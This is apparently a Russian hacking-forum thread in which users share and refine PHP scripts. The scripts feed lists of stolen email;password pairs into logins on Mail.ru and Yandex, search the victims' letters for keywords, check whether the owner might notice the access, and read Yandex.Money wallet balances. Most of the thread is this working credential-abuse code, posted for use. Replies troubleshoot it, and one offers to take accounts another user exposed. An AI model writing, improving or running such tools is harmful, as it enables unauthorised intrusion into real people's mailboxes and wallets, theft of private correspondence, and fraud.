Mail.ru/Yandex.ru letters finder PHP: [/b]Вот написал тут. Суть такова(с): Вы отдаете ей на съеденье список mail;pass и задаете список слов, которые надо искать в письмах. Ну и на выходе список совпадений. [PHP]<?php function mail_search($ssearch, $cookie){ $sock = fsockopen("win.mail.ru", 80, $errno, $errstr); if(!$sock) { echo "Couldn't open socket!"; return; } $search = urlencode($ssearch); $headers = "GET /cgi-bin/gosearch?q_query={$search} HTTP/1.1\r\n"; $headers .= "User-Agent: Opera\r\n"; $headers .= "Content-type: application/x-www-form-urlencoded\r\n"; $headers .= "Cookie: {$cookie}\r\n"; $headers .= "Host: win.mail.ru\r\n\r\n"; fwrite($sock, $headers); $line = ""; while(!feof($sock)){ $line .= fgets($sock, 1024); } $pattern = "|не найдено ни одного письма|i"; if(!preg_match($pattern, $line, $matches)) { $pattern = "|Показаны письма [\d-]+ из ([\d]+) |i"; if(preg_match($pattern, $line, $matches)) { $letters = $matches[1]; echo "<li><font color='green'>По запросу {$ssearch} найдено {$letters} письмо(а/ем)</font></li><br /><br />"; $pattern = '|<td class=lettem>(.+)\n.+\n.+\n.+\n.+\n.+\n(.+)|i'; preg_match_all($pattern, $line, $matches);; echo "<ul>"; for($i = 0; $i < count($matches[0]); $i++) { echo "<li>"; echo strip_tags($matches[1][$i]); echo "<p>".strip_tags($matches[2][$i]); echo "<br /><br /></li>"; } echo "</ul>"; } } else { echo "<li><font color='red'>По запросу {$ssearch} писем не найдено</font></li>"; } fclose($sock); } set_time_limit(0); $filep = fopen("users.txt", "r"); //<<< Акки тут if(!$filep) die("File opennig error!<br />"); echo "<table>"; while (!feof($filep)) { $acc = fgets($filep); $acc = str_replace("\r\n", "", $acc); $pair = explode(";", $acc); echo "<tr><td>"; if(count($pair) > 2) { echo "Password contains ;<br />"; continue; } $acc = explode("@", $pair[0]); $login = $acc[0]; $domain = $acc[1]; $password = $pair[1]; if($password !== "") mailru_searcher($login, $domain, $password); echo "</tr></td>"; } fclose($filep); echo "</table>"; function mailru_searcher($login, $domain, $password){ echo "$login@$domain;$password<br />"; $search_array = Array("и раз", "и двас", "и трис", "и n-c"); //<<< Ключевые слова сюда $sock = fsockopen("win.mail.ru", 80, $errno, $errstr); if(!$sock) { echo "Couldn't open socket!"; return; } $query = "Login=$login&Domain=$domain&Password=$password"; $headers = "POST /cgi-bin/auth HTTP/1.1\r\n"; $headers .= "User-Agent: Opera\r\n"; $headers .= "Content-type: application/x-www-form-urlencoded\r\n"; $headers .= "Host: auth.mail.ru\r\n"; $headers .= "Content-Length: ".strlen($query)."\r\n\r\n"; fwrite($sock, $headers.$query); $line = ""; while(!feof($sock)){ $line .= fgets($sock, 1024); } $pattern = "|HTTP/1.1 ([\d]+) |i"; if(!preg_match($pattern, $line, $matches)) { echo "Bad server response!<br />"; return; } if ($matches[1] != 302) { echo "Incorrect user/password!<br />"; return; } $pattern = "|Set-Cookie: (Mpop=[^;]+)|" ; if(!preg_match($pattern, $line, $matches)) { echo "Incorrect cookie!<br />"; return; } $user_cookie = $matches[1]; fclose($sock); echo "<ul>"; foreach($search_array as $search_query){ mail_search($search_query, $matches[1]); } echo "</ul>"; } ?> Особо не тестил , но вроде пашет. Скорочть не ахти, но всяко лучше чем руками. Буду рад принять советы по оптимизации. ЗЫ Надо дописать еще штуку, которая будет палить если у юзверя включено отображение последнего входа ЗЫЫ Извиняюсь, если где нибудь подобное уже выкладывалось. Не нашел.
Планируешь улучшать только в виде php, вариант с приложением рассматривается? Хотя такое приложение я уже где-то видел.
Хотелось бы на Спп. Но никакого опыть работы с сокетами, да и вообще с GUI нет( Если бы кто-нибудь подробно объяснил, что делать надо, то с удовольствием бы написал. Вот прилепил еще чтоб, палил если у пользователя включено отображение последнего входа. PHP: <?php function mail_search($ssearch, $cookie){ $sock = fsockopen("win.mail.ru", 80, $errno, $errstr); if(!$sock) { echo "Couldn't open socket!"; return; } $search = urlencode($ssearch); $headers = "GET /cgi-bin/gosearch?q_query={$search} HTTP/1.1\r\n"; $headers .= "User-Agent: Opera\r\n"; $headers .= "Content-type: application/x-www-form-urlencoded\r\n"; $headers .= "Cookie: {$cookie}\r\n"; $headers .= "Host: win.mail.ru\r\n\r\n"; fwrite($sock, $headers); $line = ""; while(!feof($sock)){ $line .= fgets($sock, 1024); } $pattern = "|не найдено ни одного письма|i"; if(!preg_match($pattern, $line, $matches)) { $pattern = "|Показаны письма [\d-]+ из ([\d]+) |i"; if(preg_match($pattern, $line, $matches)) { $letters = $matches[1]; echo "<li><font color='green'>По запросу {$ssearch} найдено {$letters} письмо(а/ем)</font></li><br /><br />"; $pattern = '|<td class=lettem>(.+)\n.+\n.+\n.+\n.+\n.+\n(.+)|i'; preg_match_all($pattern, $line, $matches);; echo "<ul>"; for($i = 0; $i < count($matches[0]); $i++) { echo "<li>"; echo strip_tags($matches[1][$i]); echo "<p>".strip_tags($matches[2][$i]); echo "<br /><br /></li>"; } echo "</ul>"; } } else { echo "<li><font color='red'>По запросу {$ssearch} писем не найдено</font></li>"; } fclose($sock); } set_time_limit(0); $filep = fopen("users.txt", "r"); if(!$filep) die("File opennig error!<br />"); echo "<table>"; while (!feof($filep)) { $acc = fgets($filep); $acc = str_replace("\r\n", "", $acc); $pair = explode(";", $acc); echo "<tr><td>"; if(count($pair) > 2) { echo "Password contains ;<br />"; continue; } $acc = explode("@", $pair[0]); $login = $acc[0]; $domain = $acc[1]; $password = $pair[1]; if($password !== "") mailru_searcher($login, $domain, $password); echo "</tr></td>"; } fclose($filep); echo "</table>"; function mailru_searcher($login, $domain, $password){ echo "<font color=blue><strong>$login@$domain;$password</strong></font><br />"; $SEC_DETECT = true; // <<< On/Off палево палева $search_array = Array("и раз", "и двас", "и трис", "и n-c"); $sock = fsockopen("win.mail.ru", 80, $errno, $errstr); if(!$sock) { echo "Couldn't open socket!"; return; } $query = "Login=$login&Domain=$domain&Password=$password"; $headers = "POST /cgi-bin/auth HTTP/1.1\r\n"; $headers .= "User-Agent: Opera\r\n"; $headers .= "Content-type: application/x-www-form-urlencoded\r\n"; $headers .= "Host: auth.mail.ru\r\n"; $headers .= "Content-Length: ".strlen($query)."\r\n\r\n"; fwrite($sock, $headers.$query); $line = ""; while(!feof($sock)){ $line .= fgets($sock, 1024); } $pattern = "|HTTP/1.1 ([\d]+) |i"; if(!preg_match($pattern, $line, $matches)) { echo "Bad server response!<br />"; return; } if ($matches[1] != 302) { echo "Incorrect user/password!<br />"; return; } $pattern = "|Set-Cookie: (Mpop=[^;]+)|" ; if(!preg_match($pattern, $line, $matches)) { echo "Incorrect cookie!<br />"; return; } $user_cookie = $matches[1]; fclose($sock); if($SEC_DETECT) { $sock = fsockopen("win.mail.ru", 80, $errno, $errstr); if(!$sock) { echo "Couldn't open socket!"; return; } $headers = "GET /cgi-bin/start?back=1 HTTP/1.1\r\n"; $headers .= "User-Agent: Opera\r\n"; $headers .= "Content-type: application/x-www-form-urlencoded\r\n"; $headers .= "Cookie: {$user_cookie}\r\n"; $headers .= "Host: win.mail.ru\r\n\r\n"; fwrite($sock, $headers); $line = ""; while(!feof($sock)){ $line .= fgets($sock, 1024); } fclose($sock); $pattern = "|>Ваш адрес сейчас:<|i"; if(preg_match($pattern, $line)) echo "<font size=20 color=red>ПАЛЕВО ПАЦАНЫ!!!!111</font><br />"; } echo "<ul>"; foreach($search_array as $search_query){ mail_search($search_query, $matches[1]); } echo "</ul>"; } ?>
Code: Warning: fsockopen(): unable to connect to win.mail.ru:80 in /home/d/dpe2.h1.ru/WWW/Lettersfinder.php on line 77 Couldn't open socket! Ошибка. В чем проблема ?
Скорее всего что то с сервером, на котором запускается. Попробуй на своем. У меня брут тоже запахал только на своем сервере
dpe_x там веть по русски написано что не может открыть сокет. У тебя их на таком домене нету. Ищи другой домен или запускай со своего ПК. А раз ты свои акки выложил на всеобщее обозрение то я их пожалуй возьму.Вот тут акки:
Написал нечто подобное для Yandex + чекер бабоса: http_chunked_decode.php PHP: <?php function is_hex($hex) { // regex is for weenies $hex = strtolower(trim(ltrim($hex,"0"))); if (empty($hex)) { $hex = 0; }; $dec = hexdec($hex); return ($hex == dechex($dec)); } function http_chunked_decode($chunk) { $pos = 0; $len = strlen($chunk); $dechunk = null; while(($pos < $len) && ($chunkLenHex = substr($chunk,$pos, ($newlineAt = strpos($chunk,"\n",$pos+1))-$pos))) { if (! is_hex($chunkLenHex)) { trigger_error('Value is not properly chunk encoded', E_USER_WARNING); return $chunk; } $pos = $newlineAt + 1; $chunkLen = hexdec(rtrim($chunkLenHex,"\r\n")); $dechunk .= substr($chunk, $pos, $chunkLen); $pos = strpos($chunk, "\n", $pos + $chunkLen) + 1; } return $dechunk; } ?> ClassYandexFinder.php PHP: <?php require_once("http_chunked_decode.php"); class ClassYandexFinder { private $user_cookie; public function __construct(){ $user_cookie = false; } public function login($user, $pass){ $this->user_cookie = false; $sock = fsockopen("passport.yandex.ru", 80, $errno, $errstr); if(!$sock) { echo "Couldn't open socket!"; return false; } echo "<font color=\"blue\" size=\"5\">{$user};{$pass}</font><br />"; $query = "login={$user}&passwd={$pass}"; $headers = "POST /passport?mode=auth HTTP/1.1\r\n"; $headers .= "User-Agent: Opera\r\n"; $headers .= "Content-type: application/x-www-form-urlencoded\r\n"; $headers .= "Host: passport.yandex.ru\r\n"; $headers .= "Connection: Close\r\n"; $headers .= "Content-Length: ".strlen($query)."\r\n\r\n"; fwrite($sock, $headers.$query); $line = ""; for($i = 0; $i < 15; $i++){ $line .= fgets($sock, 1024); } $pattern = "|HTTP/1.1 ([\d]+) |i"; if(!preg_match($pattern, $line, $matches)) { echo "<font color=\"red\">Bad server response!</font><br />"; return false; } if ($matches[1] != 302) { echo "<font color=\"red\">Incorrect user/password!</font><br />"; return false; } $pattern = "|Set-Cookie: (Session_id=[^;]+)|" ; if(!preg_match($pattern, $line, $matches)) { echo "<font color=\"red\">Incorrect cookie!</font><br />"; return false; } $this->user_cookie = $matches[1]; echo "<font color=\"green\">Success!</font><br />"; return true; fclose($sock); } public function SearchLetters($ssearch){ if(!$this->user_cookie){ echo "Please login<br />"; return false; } $sock = fsockopen("mail.yandex.ru", 80, $errno, $errstr); if(!$sock) { echo "Couldn't open socket!"; return false; } $search = urlencode($ssearch); $headers = "GET /neo/search?addr=from&request={$search} HTTP/1.1\r\n"; $headers .= "User-Agent: Opera\r\n"; $headers .= "Cookie: {$this->user_cookie}\r\n"; $headers .= "Connection: Close\r\n"; $headers .= "Host: mail.yandex.ru\r\n\r\n"; fwrite($sock, $headers); $line = ""; while(!feof($sock)){ $line .= fgets($sock, 1024); } $line = substr($line, strpos($line, "\r\n\r\n") + 4); $line = http_chunked_decode($line); $line = iconv("utf-8","windows-1251//IGNORE",$line); $patternNF = "|Нет писем, соответствующих запросу|"; $patternF = "|Вы также можете воспользоваться|"; if (preg_match($patternNF, $line)){ echo "<font color=\"red\">По запросу \"{$ssearch}\" писем не найдено </font><br />"; } else if (preg_match($patternF, $line)) { echo "<font color=\"green\" size=\"5\">По запросу \"{$ssearch}\" чет нашлось: </font><br />"; $pattern = '#<td class="b-grid__text"><a[^>]+>([^<]+).+?b-grid__subject" title=[\'"](.+?)[\'"]>.+?b-grid__quote" title=[\'"](.+?)[\'"]>.+?b-grid__date" title=[\'"](.+?)[\'"]>#'; preg_match_all($pattern, $line, $matches); echo "<table border=\"1px\" width=\"60%\">\n"; for($i = 0; $i < count($matches[1]); $i++){ echo "<tr>\n"; echo "<td>{$matches[1][$i]} </td>"; echo "<td>{$matches[2][$i]} </td>"; echo "<td>{$matches[3][$i]} </td>"; echo "<td>{$matches[4][$i]} </td>"; echo "</tr>\n"; } echo "</table>\n"; } else { echo "<font color=\"red\">Неведомая хуита</font><br />"; } fclose($sock); } public function CheckMoney(){ if(!$this->user_cookie){ echo "Please login<br />"; return false; } $sock = fsockopen("money.yandex.ru", 80, $errno, $errstr); if(!$sock) { echo "Couldn't open socket!"; return false; } $headers = "GET / HTTP/1.1\r\n"; $headers .= "User-Agent: Opera\r\n"; $headers .= "Host: money.yandex.ru\r\n"; $headers .= "Connection: Close\r\n"; $headers .= "Accept:text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n"; $headers .= "Cookie: {$this->user_cookie}\r\n\r\n"; fwrite($sock, $headers); $line = ""; while(!feof($sock)){ $line .= fgets($sock, 1024); } $patternNYD = "|удобный и безопасный способ платить за телефон|"; $patternNM = '|<div class="inside-main">|'; $patternM = '|icons-sprite spr-wallet.+\n.+?<strong>([^<]+)|'; if (preg_match($patternNYD, $line)){ echo "<font color=\"blue\">Нет кошеля</font><br />"; } else if (preg_match($patternNM, $line)){ echo "<font color=\"orange\">Кошель есть, но девственник</font><br />"; } else if (preg_match($patternM, $line, $matches)){ echo "<font color=\"green\" size=\"5\">Есть бабло: $matches[1]</font><br />"; } else { echo "<font color=\"red\">Неведомая хуита</font><br />"; } } } ?> YandexFinder.php PHP: <?php set_time_limit(0); require_once("ClassYandexFinder.php"); $yandexer = new ClassYandexFinder(); $filename = "users.txt"; // email;pass лист $search = Array("spam", "?????", "PROFIT!!!"); //ключевые слова echo "<center>"; $filep = fopen($filename, "r"); if(!$filep) die("File opennig error!<br />"); while (!feof($filep)) { $acc = trim(fgets($filep)); $acc = str_replace("\r\n", "", $acc); $pair = explode(";", $acc); if(count($pair) > 2) { echo "Password contains ;<br />"; continue; } if(strlen($acc) > 5){ $yandexer->login($pair[0], $pair[1]); foreach ($search as $find) // комментим эти две строки, $yandexer->SearchLetters($find); // если хотим только ЯД чекать $yandexer->CheckMoney(); //смотрим баланс echo "<hr />"; } } echo "</center>"; ?> Правда не работает пока, если у юзера такая штука:
нашел я что.. но вот незадача. 2013 на дворе. Кто пхп знать, мог бы под наше время код оптимизировать? сразу +10 в карму оптимизатору)